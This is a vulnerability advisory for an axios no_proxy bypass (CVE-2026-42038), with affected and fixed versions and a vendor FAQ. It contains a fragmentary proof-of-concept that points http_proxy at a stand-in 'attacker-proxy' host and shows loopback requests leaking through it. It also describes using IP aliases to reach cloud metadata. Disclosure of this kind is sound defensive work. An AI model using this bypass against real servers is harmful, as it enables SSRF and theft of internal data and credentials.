CVE-2026-42038

The fix for no_proxy hostname normalization bypass (#10661) is incomplete.When no_proxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it.

The shouldBypassProxy() function does pure string matching, it does not
resolve IP aliases or loopback equivalents. As a result:

• no_proxy=localhost does NOT block 127.0.0.1 or [::1]
• no_proxy=127.0.0.1 does NOT block localhost or [::1]

POC :
process.env.no_proxy = 'localhost';
process.env.http_proxy = 'http://attacker-proxy:8888';

    process.env.http_proxy = 'http://127.0.0.1:8888';

    console.log('=== Test 1: localhost (should bypass proxy) ===');
    try {
      await axios.get('http://localhost:7777/');
    } catch(e) {
      console.log('Error:', e.message);
    }

    console.log('');
    console.log('=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ===');
    try {
      await axios.get('http://127.0.0.1:7777/');
    } catch(e) {
      console.log('Error:', e.message);
    }

    fakeProxy.close();
    internalServer.close();
  });
});
EOF
=== Test 1: localhost (should bypass proxy) ===
✅ Internal server hit directly (correct)

=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ===
🚨 PROXY RECEIVED REQUEST TO: http://127.0.0.1:7777/
🚨 Host header: 127.0.0.1:7777. ```
 





<img width="1212" height="247" alt="image" src="https://github.com/user-attachments/assets/0b07ddc4-507d-4b11-a630-15b94ad2c7e7" />




Impact: In server-side environments where no_proxy is used to prevent requests to internal/cloud metadata services (e.g., 169.254.169.254), an attacker who can influence the URL can bypass the restriction by using an IP alias instead of the hostname, routing the request through an attacker-controlled proxy and leaking internal data.

Fix: shouldBypassProxy() should resolve loopback aliases, localhost, 127.0.0.1, and ::1 should all be treated as equivalent.

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

CVE-2026-42038 has a CVSS score of 6.8 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.15.1, 0.31.1); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-42038? CVE-2026-42038 is a medium-severity server-side request forgery (SSRF) vulnerability in axios (npm), affecting versions >= 1.0.0, < 1.15.1. It is fixed in 1.15.1, 0.31.1. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
2. How severe is CVE-2026-42038? CVE-2026-42038 has a CVSS score of 6.8 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of axios are affected by CVE-2026-42038? axios (npm) versions >= 1.0.0, < 1.15.1 is affected.
4. Is there a fix for CVE-2026-42038? Yes. CVE-2026-42038 is fixed in 1.15.1, 0.31.1. Upgrade to this version or later.
5. Is CVE-2026-42038 exploitable, and should I be worried? Whether CVE-2026-42038 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-42038 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-42038?
   • Upgrade axios to 1.15.1 or later
   • Upgrade axios to 0.31.1 or later